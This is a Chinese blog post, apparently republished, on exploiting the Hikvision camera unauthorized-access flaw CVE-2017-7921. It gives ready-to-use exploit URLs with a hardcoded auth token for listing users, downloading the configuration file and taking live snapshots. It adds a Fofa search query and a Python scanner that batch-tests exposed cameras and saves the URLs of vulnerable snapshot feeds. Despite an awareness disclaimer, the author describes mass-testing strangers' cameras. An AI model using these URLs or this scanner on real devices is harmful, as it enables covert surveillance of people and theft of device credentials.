【未授权访问】我就这么容易被曝光了吗?

【未授权访问】我就这么容易被曝光了吗?

  • 前言
  • 一、洞穿一切
  • 1.获取用户名
  • 2.下载摄像头配置文件
  • 3.获取监控快照
  • 二、Fofa无边
  • 三、双管齐下
  • 1.爬取设备信息
  • 2.自动化检测
  • 写在最后
  • 前言

    时光转瞬,上一篇文章的时间定格在了半年前的情人节。由于各种原因,已经好久没有更新文章了,承蒙大家的喜爱,陆续收到了许多小伙伴的“催更”。有一说一:“心里是暖的❤️”。
    愿今后自己可以不忘初心,继续前行,将心中的一些想法,一些感受,一些技巧,一些故事与大家分享。

    恰巧前不久看到某康威视网络摄像头管理后台存在安全缺陷,于是,作为对万物充满好奇的少年,我决定亲自试一波,看看信息暴露离我们究竟有多远?框框一顿操作,画面呈现在我眼前:

    ps.该摄像头为本地自用摄像头,已获得管理人员许可

    WT?我就这么轻松被看得赤裸裸了?究竟发生了什么,请系好安全带,咋们发车了🚗…(滴,学生卡)

    一、洞穿一切

    早几年网上就已经爆出海康威视摄像头的管理后台存在未授权访问漏洞(CVE-2017-7921),允许任意用户在不知道用户密码的前提下进行一系列操作:

    1.获取用户名

    获取用户名对应的地址为:

    http://IP地址/Security/users?auth=YWRtaW46MTEK
    

    只需将“IP地址”换成实际的IP,如果存在漏洞的话,我们便可直接看到该摄像头的用户名:

    2.下载摄像头配置文件

    获取配置文件对应的地址为:

    http://IP地址/System/configurationFile?auth=YWRtaW46MTEK
    

    同样将“IP地址”换成实际IP后,我们得到一个二进制配置文件,利用工具将其解密后可以看到摄像头后台的用户名密码

    然而,经过实际测试却无法登陆,所以这里不过多的展开了,如果有懂行的小伙伴欢迎发言指导鸭~

    3.获取监控快照

    获取监控视频截图的地址为:

    http://IP地址/onvif-http/snapshot?auth=YWRtaW46MTEK
    

    直接访问该地址后,我们便可获得当前监控视频的快照截图,视频里发送了什么,一目了然!

    这位看官,您以为到这里就完了吗?

    NO,kimol君作为一名热爱探索的三好青年,怎能止步于此。眼镜一推,发现事情并不简单,您继续往下看:

    二、Fofa无边

    何为Fofa?
    Fofa是一个可怕的搜索引擎,它不同于谷歌、百度等仅搜索爬取网页信息,Fofa用于网络空间资源探测,其爬取的是互联网上所有设备的 IP 地址及其端口号。在搜索栏中输入:

    app="HIKVISION-视频监控"
    

    我们便能看到对应的设备信息及其地址:

    于是,根据搜索结果便可以逐一对这些地址进行测试(即在地址后加入漏洞利用的地址),然后…🐸🐸🐸
    手动测试ing,一个、两个、三个。。。些许有些崩溃,视线逐渐模糊,直呼“这也太累了叭!”。 懒人中的战斗机永不言退,于是我决定写个脚本实现自动化测试

    三、双管齐下

    自动化原理也很直白明了,首先是通过Fofa搜索引擎获取到设备的IP地址,然后访问该IP地址对应的接口(以上三个均可👆)并进行判断即可。

    1.爬取设备信息

    通过F12抓取数据包,然后利用python中的requests对请求进行模拟,有:

    import base64
    import requests
    
    def search(keyword, pn):
        url = 'https://api.fofa.so/v1/search'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Referer': 'https://fofa.so/',
            'Authorization': 'xxxx', # 需要替换为自己Fofa登陆的授权信息
            'Cache-Control': 'no-cache',
            'Origin': 'https://fofa.so',
            'Connection': 'keep-alive',
            'Sec-Fetch-Dest': 'empty',
            'Sec-Fetch-Mode': 'cors',
            'Sec-Fetch-Site': 'same-site',
        }
        params = (
            ('q', keyword),
            ('qbase64', base64.b64encode(keyword.encode('utf-8'))),
            ('full', 'false'),
            ('pn', str(pn)),
            ('ps', '10'),
        )
        res = requests.get(url, headers=headers, params=params)
        data = res.json()['data']['assets']
        return data
    

    函数共有两个参数keywordpn,其中keyword为搜索的关键字,pn为第几页。得到如下的数据:

    IP地址、端口号、国家、城市等信息都有了,剩下只需进行漏洞测试即可。

    2.自动化检测

    获取到设备信息后,我们便可批量对这些设备进行检测,确定是否存在漏洞:

    savename = '漏洞列表'
    keyword = 'HIKVISION-视频监控'               
    data = search(keyword, pn=1)
    result = []
    for d in data:
        host = d['id']
        ip = d['ip']
        try:
            if detect(host):
                result.append('http://%s/onvif-http/snapshot?auth=YWRtaW46MTEK'%host)
                print('"%s"存在漏洞!'%ip)
            else:
                print('"%s"不存在漏洞!'%ip)
        except:
            print('"%s"不存在漏洞!'%ip)
    print('共计发现%d个漏洞网站'%len(result))
    if len(result) != 0:
        with open('./结果/%s.txt'%savename, 'w') as f:
            for r in result:
                f.write(r+'\n')
    

    ps.由于比较敏感,detect()函数的代码就不提供了,想必看懂的小伙伴很容易能够写出来

    运行代码后,结果赫然躺在文件里:

    访问这些地址即可获得摄像头的截图快照,我瞬间觉得后背发凉:“原来被监视这么容易”!

    写在最后

    本文仅作为技术交流,切勿用于非法途径!

    本文的初衷是想告诉大家,其实网络安全、YS泄露离我们并不遥远,它正在我们的身边时刻“演绎”着。只需要几行简短的脚本代码便可轻松获取到摄像头的数据,也许正有一双眼睛盯着我们。
    这并非危言耸听,HeiK们的手段远远多于此,而网络安全意识也更非空谈,只有我们每一个人都引起足够的重视,我们的YS才不至于被随意贩卖!

    我是kimol君,咋们下次再会~

    创作不易,大侠请留步… 动起可爱的双手,来个赞再走呗 (๑◕ܫ←๑)

    来源:不正经的kimol君

    物联沃分享整理
    物联沃-IOTWORD物联网 » 【未授权访问】我就这么容易被曝光了吗?

    发表评论